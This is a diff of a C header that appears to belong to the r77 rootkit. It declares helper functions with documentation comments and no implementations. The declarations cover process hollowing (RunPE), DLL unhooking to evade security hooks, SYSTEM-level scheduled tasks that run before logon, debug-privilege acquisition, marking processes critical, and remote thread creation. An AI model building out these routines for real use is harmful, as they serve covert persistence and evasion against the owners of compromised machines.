-/// A buffer to write to the file.
-/// The number of bytes to write.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size);
-///
-/// Creates a file with a random filename and a given extension in the temp directory and writes a given buffer to it.
-///
-/// A buffer to write to the file.
-/// The number of bytes to write.
-/// The extension to append to the random filename, excluding the dot.
-/// A buffer of unicode characters to write the path of the created file to.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath);
-///
-/// Executes a file and waits for the process to exit.
-///
-/// The path to the file to execute.
-/// TRUE, to attempt to delete the file. A total of 10 deletion attempts with a delay of 100 ms is performed.
-///
-/// TRUE, if the file was successfully executed;
-/// otherwise, FALSE.
-/// If the file was executed, but deletion failed, TRUE is returned.
-///
-BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile);
-///
-/// Creates a scheduled task that is set to run under the SYSTEM account before the user logs in.
-///
-/// The name of the scheduled task.
-/// The working directory of the scheduled task.
-/// The application name of the scheduled task.
-/// The commandline arguments to pass to the created process.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments);
-///
-/// Starts a scheduled task.
-///
-/// The name of the scheduled task.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL RunScheduledTask(LPCWSTR name);
-///
-/// Deletes a scheduled task.
-///
-/// The name of the scheduled task.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL DeleteScheduledTask(LPCWSTR name);
-///
-/// Creates a named pipe that is accessible by every process.
-///
-/// The name of the named pipe to be created.
-///
-/// A handle to the newly created named pipe, or INVALID_HANDLE_VALUE, if creation failed.
-///
-HANDLE CreatePublicNamedPipe(LPCWSTR name);
-
-///
-/// Determines the bitness of an executable file.
-///
-/// A buffer containing the executable file.
-/// A pointer to a BOOL value to write the result to.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit);
-///
-/// Creates a new process using the process hollowing technique.
-/// If the current process is a 32-bit process, only 32-bit processes can be created.
-///
-/// The target executable path. This can be any existing file with the same bitness as the payload.
-/// The actual executable that is the payload of the new process, regardless of the path argument.
-///
-/// TRUE, if this function succeeds;
-/// otherwise, FALSE.
-///
-BOOL RunPE(LPCWSTR path, LPBYTE payload);
-///
-/// Converts an IMAGE_SECTION_HEADER.Characteristics flag to a memory page protection flag.
-///
-/// The characteristics of a section.
-///
-/// A DWORD value to be used with VirtualProtectEx.
-///
-DWORD SectionCharacteristicsToProtection(DWORD characteristics);
-///
-/// Gets the file offset of an exported function from an executable file.
-///
-/// A buffer with the executable file.
-/// The name of the exported function.
-///
-/// The file offset of the exported function; or 0, if this function fails.
-///
-DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName);
-///
-/// Converts a RVA to a file offset.
-///
-/// A buffer with the executable file.
-/// The RVA to convert.
-///
-/// The file offset converted from the specified RVA; or 0, if this function fails.
-///
-DWORD RvaToOffset(LPBYTE image, DWORD rva);
-///
-/// Unhooks a DLL by replacing the .text section with the original DLL section.
-///
-/// The name of the DLL to unhook.
-VOID UnhookDll(LPCWSTR name);
-
-NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
-NTSTATUS NTAPI R77_NtCreateThreadEx(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
-NTSTATUS NTAPI R77_NtUnmapViewOfSection(HANDLE processHandle, LPVOID baseAddress);
-NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation);
-NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
-NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);
-
+#include "r77mindef.h"
+#include "ntdll.h"
+#ifndef _R77WIN_H
+#define _R77WIN_H
+
+///
+/// Writes random bytes to the buffer.
+///
+/// A buffer to write the random data to.
+/// The size in bytes of random data to write.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetRandomBytes(LPVOID buffer, DWORD size);
+///
+/// Generates a random alphanumeric string.
+///
+/// A buffer of unicode characters to write the string to.
+/// The number of characters to write.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetRandomString(PWCHAR str, DWORD length);
+///
+/// Converts a LPCWSTR into a null terminated LPCSTR.
+///
+/// The LPCWSTR to convert.
+///
+/// A newly allocated LPCSTR with the converted LPCWSTR.
+///
+LPCSTR ConvertStringToAString(LPCWSTR str);
+///
+/// Converts a UNICODE_STRING into a null terminated LPWSTR.
+///
+/// The UNICODE_STRING to convert.
+///
+/// A newly allocated LPWSTR with the converted UNICODE_STRING.
+///
+LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str);
+///
+/// Converts a 32-bit integer value to a string.
+///
+/// The value to convert.
+/// A buffer of unicode characters to write the result to.
+VOID Int32ToStrW(LONG value, PWCHAR buffer);
+
+///
+/// Determines whether the operating system is a 64-bit operating system.
+///
+///
+/// TRUE, if the operating system is a 64-bit operating system;
+/// otherwise, FALSE.
+///
+BOOL Is64BitOperatingSystem();
+///
+/// Determines whether at Windows 10 or greater is installed. This function uses the NT API and does not rely on a manifest file.
+///
+///
+/// TRUE, if Windows 10 or above is installed;
+/// otherwise, FALSE.
+///
+BOOL IsAtLeastWindows10();
+///
+/// Determines whether a process is a 64-bit process.
+///
+/// The process ID to check.
+/// A pointer to a BOOL value to write the result to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit);
+///
+/// Retrieves a function from a DLL specified by a name.
+///
+/// The name of the DLL to retrieve the function from.
+/// The name of the function to retrieve.
+///
+/// A pointer to the function, or NULL, if either the DLL was not found or does not have a function by the specified name.
+///
+LPVOID GetFunction(LPCSTR dll, LPCSTR function);
+///
+/// Gets the integrity level of a process.
+///
+/// The process ID to check.
+/// A pointer to a DWORD value to write the result to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel);
+///
+/// Gets the filename of a process.
+///
+/// The process ID to retrieve the filename from.
+/// A buffer to write the filename to.
+/// The length of the fileName buffer.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetProcessFileName(DWORD processId, LPWSTR fileName, DWORD fileNameLength);
+///
+/// Gets the full path of a process.
+///
+/// The process ID to retrieve the full path from.
+/// A buffer to write full path to.
+/// The length of the fileName buffer.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetProcessPath(DWORD processId, LPWSTR fileName, DWORD fileNameLength);
+///
+/// Gets the username of a process.
+///
+/// The handle to the process to check.
+/// A buffer of unicode characters to write the result to.
+/// The length of the result buffer.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength);
+///
+/// Obtains the SeDebugPrivilege.
+///
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL EnabledDebugPrivilege();
+///
+/// Gets an executable resource.
+///
+/// The identifier of the resource.
+/// The type identifier of the resource.
+/// A pointer that is set to a newly allocated buffer with the resource data.
+/// A pointer to a DWORD value to write the size of the returned buffer to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size);
+///
+/// Retrieves the full path from a file handle.
+///
+/// A file handle to retrieve the path from.
+/// A buffer to write the path to.
+/// The length of the fileName buffer.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength);
+///
+/// Reads the contents of a file.
+///
+/// The path to the file to read.
+/// A pointer that is set to a newly allocated buffer with the file contents.
+/// A pointer to a DWORD value to write the size of the returned buffer to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size);
+///
+/// Reads a null terminated LPCWSTR from the specified file.
+///
+/// A file handle to read the string from.
+/// The buffer to write the string to.
+/// The length of the string buffer.
+///
+/// TRUE, if this function succeeds;
+/// FALSE, if the string was longer than the specified buffer, or the end of the file was reached before the null terminator.
+///
+BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length);
+///
+/// Writes a buffer to a file.
+///
+/// The path to the file to create.
+/// A buffer to write to the file.
+/// The number of bytes to write.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size);
+///
+/// Creates a file with a random filename and a given extension in the temp directory and writes a given buffer to it.
+///
+/// A buffer to write to the file.
+/// The number of bytes to write.
+/// The extension to append to the random filename, excluding the dot.
+/// A buffer of unicode characters to write the path of the created file to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath);
+///
+/// Executes a file and waits for the process to exit.
+///
+/// The path to the file to execute.
+/// TRUE, to attempt to delete the file. A total of 10 deletion attempts with a delay of 100 ms is performed.
+///
+/// TRUE, if the file was successfully executed;
+/// otherwise, FALSE.
+/// If the file was executed, but deletion failed, TRUE is returned.
+///
+BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile);
+///
+/// Creates a scheduled task that is set to run under the SYSTEM account before the user logs in.
+///
+/// The name of the scheduled task.
+/// The working directory of the scheduled task.
+/// The application name of the scheduled task.
+/// The commandline arguments to pass to the created process.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments);
+///
+/// Starts a scheduled task.
+///
+/// The name of the scheduled task.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL RunScheduledTask(LPCWSTR name);
+///
+/// Deletes a scheduled task.
+///
+/// The name of the scheduled task.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL DeleteScheduledTask(LPCWSTR name);
+///
+/// Creates a named pipe that is accessible by every process.
+///
+/// The name of the named pipe to be created.
+///
+/// A handle to the newly created named pipe, or INVALID_HANDLE_VALUE, if creation failed.
+///
+HANDLE CreatePublicNamedPipe(LPCWSTR name);
+
+///
+/// Determines the bitness of an executable file.
+///
+/// A buffer containing the executable file.
+/// A pointer to a BOOL value to write the result to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit);
+///
+/// Creates a new process using the process hollowing technique.
+/// If the current process is a 32-bit process, only 32-bit processes can be created.
+///
+/// The target executable path. This can be any existing file with the same bitness as the payload.
+/// The actual executable that is the payload of the new process, regardless of the path argument.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL RunPE(LPCWSTR path, LPBYTE payload);
+///
+/// Converts an IMAGE_SECTION_HEADER.Characteristics flag to a memory page protection flag.
+///
+/// The characteristics of a section.
+///
+/// A DWORD value to be used with VirtualProtectEx.
+///
+DWORD SectionCharacteristicsToProtection(DWORD characteristics);
+///
+/// Gets the file offset of an exported function from an executable file.
+///
+/// A buffer with the executable file.
+/// The name of the exported function.
+///
+/// The file offset of the exported function; or 0, if this function fails.
+///
+DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName);
+///
+/// Converts a RVA to a file offset.
+///
+/// A buffer with the executable file.
+/// The RVA to convert.
+///
+/// The file offset converted from the specified RVA; or 0, if this function fails.
+///
+DWORD RvaToOffset(LPBYTE image, DWORD rva);
+///
+/// Unhooks a DLL by replacing the .text section with the original DLL section.
+///
+/// The name of the DLL to unhook.
+VOID UnhookDll(LPCWSTR name);
+
+NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
+NTSTATUS NTAPI R77_NtCreateThreadEx(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
+NTSTATUS NTAPI R77_NtUnmapViewOfSection(HANDLE processHandle, LPVOID baseAddress);
+NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation);
+NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
+NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);
+PDH_STATUS WINAPI R77_PdhGetCounterInfoW(PDH_HCOUNTER counter, BOOLEAN retrieveExplainText, LPDWORD bufferSize, PNT_PDH_COUNTER_INFO_W buffer);
+
#endif
\ No newline at end of file